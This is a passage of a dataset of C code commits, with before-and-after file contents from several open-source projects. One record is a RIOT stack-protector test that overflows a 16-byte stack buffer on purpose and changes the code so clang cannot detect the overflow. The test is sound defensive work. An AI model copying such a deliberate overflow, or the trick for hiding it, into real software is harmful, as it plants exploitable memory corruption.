*error))completionHandler;\n+(void)server_to_phone:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n+(void)setClientStats:(NSDictionary*)statsToSend completionHandler:(void (^)(NSData *data, NSURLResponse *response, NSError *error))completionHandler;\n\n+ (NSInteger)fetchedData:(NSData *)responseData;\n@end\n","subject":"Move the SilentPushCompletionHandler typedef in here","message":"Move the SilentPushCompletionHandler typedef in here\n\nSince it is likely to be used as part of background sync\n","lang":"C","license":"bsd-3-clause","repos":"e-mission\/cordova-server-sync,e-mission\/cordova-server-sync,e-mission\/cordova-server-sync"}
{"commit":"43e02f563314f179b1221921034c145887a968fa","old_file":"include\/lyra2.h","new_file":"include\/lyra2.h","old_contents":"#pragma once\n\n#include <stdlib.h>\n#include <stdint.h>\n\n#define PHS_NCOLS 64\n\nint lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);\nint PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);\n","new_contents":"#pragma once\n\n#include <stdlib.h>\n#include <stdint.h>\n\n#define PHS_NCOLS 256\n\nint lyra2(char *key, uint32_t keylen, const char *pwd, uint32_t pwdlen, const char *salt, uint32_t saltlen, uint32_t R, uint32_t C, uint32_t T);\nint PHS(void *out, size_t outlen, const void *in, size_t inlen, const void *salt, size_t saltlen, unsigned int t_cost, unsigned int m_cost);\n","subject":"Use 256 cols when in PHS mode.","message":"Use 256 cols when in PHS mode.\n","lang":"C","license":"mit","repos":"guilherme-pg\/lyra2,guilherme-pg\/lyra2,eggpi\/lyra2,eggpi\/lyra2,eggpi\/lyra2,guilherme-pg\/lyra2"}
{"commit":"c2a85cdcb14b4b04619593261a49c310a8f59185","old_file":"libsel4\/arch_include\/x86\/sel4\/arch\/mapping.h","new_file":"libsel4\/arch_include\/x86\/sel4\/arch\/mapping.h","old_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_ARCH_MAPPING\n#define __LIBSEL4_ARCH_MAPPING\n\n#define SEL4_MAPPING_LOOKUP_LEVEL 2\n#define SEL4_MAPPING_LOOKUP_NO_PT 22\n\nstatic inline seL4_Word seL4_MappingFailedLookupLevel()\n{\n    return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);\n}\n\n#endif\n","new_contents":"\/*\n * Copyright 2014, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#ifndef __LIBSEL4_ARCH_MAPPING\n#define __LIBSEL4_ARCH_MAPPING\n\n#include <autoconf.h>\n\n#define SEL4_MAPPING_LOOKUP_LEVEL 2\n#ifdef CONFIG_PAE_PAGING\n#define SEL4_MAPPING_LOOKUP_NO_PT 21\n#define SEL4_MAPPING_LOOKUP_NO_PD 30\n#else\n#define SEL4_MAPPING_LOOKUP_NO_PT 22\n#endif\n\nstatic inline seL4_Word seL4_MappingFailedLookupLevel()\n{\n    return seL4_GetMR(SEL4_MAPPING_LOOKUP_LEVEL);\n}\n\n#endif\n","subject":"Define different lookup levels for PAE","message":"libsel4: Define different lookup levels for PAE\n","lang":"C","license":"bsd-2-clause","repos":"cmr\/seL4,zhicheng\/seL4,cmr\/seL4,cmr\/seL4,zhicheng\/seL4,zhicheng\/seL4"}
{"commit":"47107014052cf2345f4d22066e236582f4bbc0a9","old_file":"tests\/ssp\/main.c","new_file":"tests\/ssp\/main.c","old_contents":"\/*\n * Copyright (C) 2016 Kaspar Schleiser <kaspar@schleiser.de>\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     tests\n * @{\n *\n * @file\n * @brief       ssp test application\n *\n * This test should crash badly when *not* using the ssp module, and panic if\n * using it.\n *\n * @author      Kaspar Schleiser <kaspar@schleiser.de>\n *\n * @}\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\nvoid test_func(void)\n{\n    char buf[16];\n\n    \/* cppcheck-suppress bufferAccessOutOfBounds\n     * (reason: deliberately overflowing stack) *\/\n    memset(buf, 0, 32);\n}\n\nint main(void)\n{\n    puts(\"calling stack corruption function\");\n\n    test_func();\n\n    puts(\"back to main\");\n\n    return 0;\n}\n","new_contents":"\/*\n * Copyright (C) 2016 Kaspar Schleiser <kaspar@schleiser.de>\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     tests\n * @{\n *\n * @file\n * @brief       ssp test application\n *\n * This test should crash badly when *not* using the ssp module, and panic if\n * using it.\n *\n * @author      Kaspar Schleiser <kaspar@schleiser.de>\n *\n * @}\n *\/\n\n#include <stdio.h>\n#include <string.h>\n\nvoid test_func(void)\n{\n    char buf[16];\n\n    \/* clang will detect the buffer overflow\n     * and throw an error if we use `buf` directly *\/\n    void *buffer_to_confuse_compiler = buf;\n\n    \/* cppcheck-suppress bufferAccessOutOfBounds\n     * (reason: deliberately overflowing stack) *\/\n    memset(buffer_to_confuse_compiler, 0, 32);\n}\n\nint main(void)\n{\n    puts(\"calling stack corruption function\");\n\n    test_func();\n\n    puts(\"back to main\");\n\n    return 0;\n}\n","subject":"Fix on macOS while compiling w\/ clang","message":"tests\/ssp: Fix on macOS while compiling w\/ clang\n\nOn macOS using Apple LLVM version 9.0.0 this test would\nnot compile due to clang detecting the buffer overflow.\nSince this test is all about having a buffer overflow, I\ntricked clang into not detecting this anymore.\n\nThis loosely relates to #6473.\n","lang":"C","license":"lgpl-2.1","repos":"mfrey\/RIOT,smlng\/RIOT,miri64\/RIOT,authmillenon\/RIOT,miri64\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,jasonatran\/RIOT,basilfx\/RIOT,LudwigOrtmann\/RIOT,roberthartung\/RIOT,basilfx\/RIOT,biboc\/RIOT,rfuentess\/RIOT,cladmi\/RIOT,jasonatran\/RIOT,BytesGalore\/RIOT,basilfx\/RIOT,toonst\/RIOT,biboc\/RIOT,smlng\/RIOT,toonst\/RIOT,immesys\/RiSyn,OlegHahm\/RIOT,biboc\/RIOT,immesys\/RiSyn,adrianghc\/RIOT,adrianghc\/RIOT,kbumsik\/RIOT,immesys\/RiSyn,RIOT-OS\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,immesys\/RiSyn,immesys\/RiSyn,ant9000\/RIOT,yogo1212\/RIOT,neiljay\/RIOT,ant9000\/RIOT,kbumsik\/RIOT,rfuentess\/RIOT,avmelnikoff\/RIOT,mfrey\/RIOT,mtausig\/RIOT,toonst\/RIOT,mtausig\/RIOT,gebart\/RIOT,x3ro\/RIOT,neiljay\/RIOT,yogo1212\/RIOT,jasonatran\/RIOT,A-Paul\/RIOT,basilfx\/RIOT,Josar\/RIOT,kYc0o\/RIOT,ks156\/RIOT,Josar\/RIOT,mtausig\/RIOT,aeneby\/RIOT,toonst\/RIOT,smlng\/RIOT,biboc\/RIOT,ant9000\/RIOT,lazytech-org\/RIOT,ant9000\/RIOT,RIOT-OS\/RIOT,kYc0o\/RIOT,OlegHahm\/RIOT,authmillenon\/RIOT,LudwigKnuepfer\/RIOT,kaspar030\/RIOT,avmelnikoff\/RIOT,LudwigOrtmann\/RIOT,authmillenon\/RIOT,miri64\/RIOT,authmillenon\/RIOT,josephnoir\/RIOT,ks156\/RIOT,cladmi\/RIOT,miri64\/RIOT,roberthartung\/RIOT,Josar\/RIOT,BytesGalore\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,aeneby\/RIOT,neiljay\/RIOT,OTAkeys\/RIOT,aeneby\/RIOT,LudwigOrtmann\/RIOT,smlng\/RIOT,A-Paul\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,gebart\/RIOT,aeneby\/RIOT,BytesGalore\/RIOT,OTAkeys\/RIOT,josephnoir\/RIOT,miri64\/RIOT,gebart\/RIOT,ant9000\/RIOT,adrianghc\/RIOT,cladmi\/RIOT,mfrey\/RIOT,kaspar030\/RIOT,BytesGalore\/RIOT,kbumsik\/RIOT,x3ro\/RIOT,Josar\/RIOT,authmillenon\/RIOT,kbumsik\/RIOT,adrianghc\/RIOT,immesys\/RiSyn,LudwigOrtmann\/RIOT,rfuentess\/RIOT,LudwigKnuepfer\/RIOT,OTAkeys\/RIOT,RIOT-OS\/RIOT,lazytech-org\/RIOT,jasonatran\/RIOT,toonst\/RIOT,kaspar030\/RIOT,x3ro\/RIOT,LudwigOrtmann\/RIOT,A-Paul\/RIOT,roberthartung\/RIOT,A-Paul\/RIOT,avmelnikoff\/RIOT,roberthartung\/RIOT,BytesGalore\/RIOT,ks156\/RIOT,mtausig\/RIOT,gebart\/RIOT,RIOT-OS\/RIOT,kbumsik\/RIOT,neiljay\/RIOT,cladmi\/RIOT,yogo1212\/RIOT,rfuentess\/RIOT,OlegHahm\/RIOT,biboc\/RIOT,gebart\/RIOT,roberthartung\/RIOT,OTAkeys\/RIOT,mtausig\/RIOT,ks156\/RIOT,kYc0o\/RIOT,ks156\/RIOT,LudwigKnuepfer\/RIOT,mfrey\/RIOT,jasonatran\/RIOT,x3ro\/RIOT,x3ro\/RIOT,cladmi\/RIOT,mfrey\/RIOT,adrianghc\/RIOT,smlng\/RIOT,lazytech-org\/RIOT,OTAkeys\/RIOT,lazytech-org\/RIOT,avmelnikoff\/RIOT,aeneby\/RIOT,OlegHahm\/RIOT,kYc0o\/RIOT,LudwigOrtmann\/RIOT,kaspar030\/RIOT,Josar\/RIOT,LudwigKnuepfer\/RIOT,yogo1212\/RIOT,josephnoir\/RIOT,josephnoir\/RIOT,basilfx\/RIOT,kaspar030\/RIOT,A-Paul\/RIOT,neiljay\/RIOT,LudwigKnuepfer\/RIOT,lazytech-org\/RIOT,kYc0o\/RIOT"}
{"commit":"b981ad885a6f4e0a79506451157c1459141320f5","old_file":"exception_handling_3.c","new_file":"exception_handling_3.c","old_contents":"\/*\n * Author: NagaChaitanya Vellanki\n *\n * TRY\/THROW\/CATCH\/FINALLY - example\n * Reference: http:\/\/www.di.unipi.it\/~nids\/docs\/longjump_try_trow_catch.html\n *\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\n\n#define FOO_EXCEPTION (1)\n#define BAR_EXCEPTION (2)\n#define GOO_EXCEPTION (3)\n\n#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {\n#define CATCH(exception) break; case exception:\n#define FINALLY break; } default:\n#define END_TRY } }while(0)\n#define THROW(exception) longjmp(env, exception)\n\nint main(int argc, char *argv[]) {\n\n  TRY {\n    printf(\"In TRY statement\\n\");\n    THROW(GOO_EXCEPTION);\n    printf(\"not reachable\\n\");\n  }\n  CATCH(FOO_EXCEPTION) {\n    printf(\"FOO exception caught\\n\");\n  }\n  CATCH(BAR_EXCEPTION) {\n    printf(\"BAR exception caught\\n\");\n  }\n  CATCH(GOO_EXCEPTION) {\n    printf(\"GOO exception caught\\n\");\n  }\n  FINALLY {\n    printf(\"Finally \\n\");\n  }\n  END_TRY;\n\n  exit(EXIT_SUCCESS);\n}\n","new_contents":"\/*\n * Author: NagaChaitanya Vellanki\n *\n * TRY\/THROW\/CATCH\/FINALLY - example\n * Reference: http:\/\/www.di.unipi.it\/~nids\/docs\/longjump_try_trow_catch.html\n *\n * use gcc -E -P exception_handling_3.c to see the result of the preprocessing\n * step\n *\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\n\n#define FOO_EXCEPTION (1)\n#define BAR_EXCEPTION (2)\n#define GOO_EXCEPTION (3)\n\n#define TRY do{ jmp_buf env; switch(setjmp(env)) { case 0: while(1) {\n#define CATCH(exception) break; case exception:\n#define FINALLY break; } default:\n#define END_TRY } }while(0)\n#define THROW(exception) longjmp(env, exception)\n\nint main(int argc, char *argv[]) {\n\n  TRY {\n    printf(\"In TRY statement\\n\");\n    THROW(GOO_EXCEPTION);\n    printf(\"not reachable\\n\");\n  }\n  CATCH(FOO_EXCEPTION) {\n    printf(\"FOO exception caught\\n\");\n  }\n  CATCH(BAR_EXCEPTION) {\n    printf(\"BAR exception caught\\n\");\n  }\n  CATCH(GOO_EXCEPTION) {\n    printf(\"GOO exception caught\\n\");\n  }\n  FINALLY {\n    printf(\"Finally \\n\");\n  }\n  END_TRY;\n\n  exit(EXIT_SUCCESS);\n}\n","subject":"Add command to see output of preprocessor","message":"Add command to see output of preprocessor\n","lang":"C","license":"isc","repos":"chaitanyav\/cprograms,chaitanyav\/cprograms"}
{"commit":"2f5741458f22ed495dd05f989be98b62f18108d9","old_file":"timer.h","new_file":"timer.h","old_contents":"#ifndef TIMER_H_\n#define TIMER_H_ 1\n\n\/*\n * By default, the timer calls the function a few extra times that aren't\n * measured to get it into cache and ensure more consistent running times.\n * Specifying this option in flags will stop this.\n *\/\n#define TIMER_NO_EXTRA 1\n\nstruct timer {\n    unsigned long long ns;\n    unsigned int reps;\n};\n\n\/*\n * Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,\n * and timer->reps to the number of repetitions. Uses the existing values of\n * timer->ns and timer->reps as maximums - it won't do any more repetitions or take\n * significantly more time than those specify. However, you can set one of them\n * to 0 to make it unlimited. 0 is returned on success, -1 on failure.\n *\/\nint\ntimer_measure(void (*func)(void), struct timer *timer, int flags);\n\n\/\/ These next functions are shortcuts that use timer_measure and use the\n\/\/ default flags.\n\nint\ntimer_measure_ms(void (*func)(void), unsigned long long ms,\n                 struct timer *timer);\n\nint\ntimer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);\n\n#endif\n","new_contents":"#ifndef TIMER_H_\n#define TIMER_H_ 1\n\n\/*\n * By default, the timer calls the function a few extra times that aren't\n * measured to get it into cache and ensure more consistent running times.\n * Specifying this option in flags will stop this.\n *\/\n#define TIMER_NO_EXTRA 1\n\n\/*\n * By default, each of these functions assumes that the function is single\n * threaded. Specify this option to make sure that timing is done properly with\n * multi-threaded functions.\n *\/\n#define TIMER_MULTI_THREAD 2\n\n\/*\n * The timer might create new processes to isolate the code being timed.\n * Specifying this flag prevents any new processes from being created.\n *\/\n#define TIMER_NOPROC 4\n\n\/*\n * The timer might create new threads to isolate the code being timed.\n * Specifying this flag prevents any new threads from being created.\n *\/\n#define TIMER_NOTHREAD 8\n\nstruct timer {\n    unsigned long long ns;\n    unsigned int reps;\n};\n\n\/*\n * Measures function 'func'. Sets timer->ns to the number of nanoseconds it took,\n * and timer->reps to the number of repetitions. Uses the existing values of\n * timer->ns and timer->reps as maximums - it won't do any more repetitions or take\n * significantly more time than those specify. However, you can set one of them\n * to 0 to make it unlimited. 0 is returned on success, -1 on failure.\n *\/\nint\ntimer_measure(void (*func)(void), struct timer *timer, int flags);\n\n\/\/ These next functions are shortcuts that use timer_measure and use the\n\/\/ default flags. They just use 'timer' as an out argument.\n\nint\ntimer_measure_ms(void (*func)(void), unsigned long long ms,\n                 struct timer *timer);\n\nint\ntimer_measure_reps(void (*func)(void), unsigned int reps, struct timer *timer);\n\n#endif\n","subject":"Add more flags and documentation","message":"Add more flags and documentation\n","lang":"C","license":"mit","repos":"joeljk13\/Timer,joeljk13\/Timer"}
{"commit":"64286c63308db83935b5112b4adc2524f7c7f28f","old_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","new_file":"chrome\/browser\/extensions\/extension_management_api_constants.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDescriptionKey[];\nextern const char kEnabledKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHomepageUrlKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIdKey[];\nextern const char kIsAppKey[];\nextern const char kNameKey[];\nextern const char kOfflineEnabledKey[];\nextern const char kOptionsUrlKey[];\nextern const char kPermissionsKey[];\nextern const char kMayDisableKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\nextern const char kVersionKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n}  \/\/ namespace extension_management_api_constants\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#define CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n#pragma once\n\nnamespace extension_management_api_constants {\n\n\/\/ Keys used for incoming arguments and outgoing JSON data.\nextern const char kAppLaunchUrlKey[];\nextern const char kDisabledReasonKey[];\nextern const char kHostPermissionsKey[];\nextern const char kIconsKey[];\nextern const char kIsAppKey[];\nextern const char kPermissionsKey[];\nextern const char kSizeKey[];\nextern const char kUpdateUrlKey[];\nextern const char kUrlKey[];\n\n\/\/ Values for outgoing JSON data.\nextern const char kDisabledReasonPermissionsIncrease[];\nextern const char kDisabledReasonUnknown[];\n\n\/\/ Error messages.\nextern const char kExtensionCreateError[];\nextern const char kGestureNeededForEscalationError[];\nextern const char kManifestParseError[];\nextern const char kNoExtensionError[];\nextern const char kNotAnAppError[];\nextern const char kUserCantDisableError[];\nextern const char kUserDidNotReEnableError[];\n\n}  \/\/ namespace extension_management_api_constants\n\n#endif  \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","subject":"Remove leftover constant declarations accidentally left behind by a previous patch.","message":"Remove leftover constant declarations accidentally left behind by a previous patch.\n\nBUG=119692\nTEST=compile succeeds\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9903017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@129799 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"fujunwei\/chromium-crosswalk,littlstar\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,Chilledheart\/chromium,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,littlstar\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,keishi\/chromium,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,robclark\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,robclark\/chromium,zcbenz\/cefode-chromium,keishi\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,ltilve\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,robclark\/chromium,ChromiumWebApps\/chromium,anirudhSK\/chromium,dednal\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,Chilledheart\/chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hujiajie\/pa-chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,keishi\/chromium,ltilve\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,Fireblend\/chromi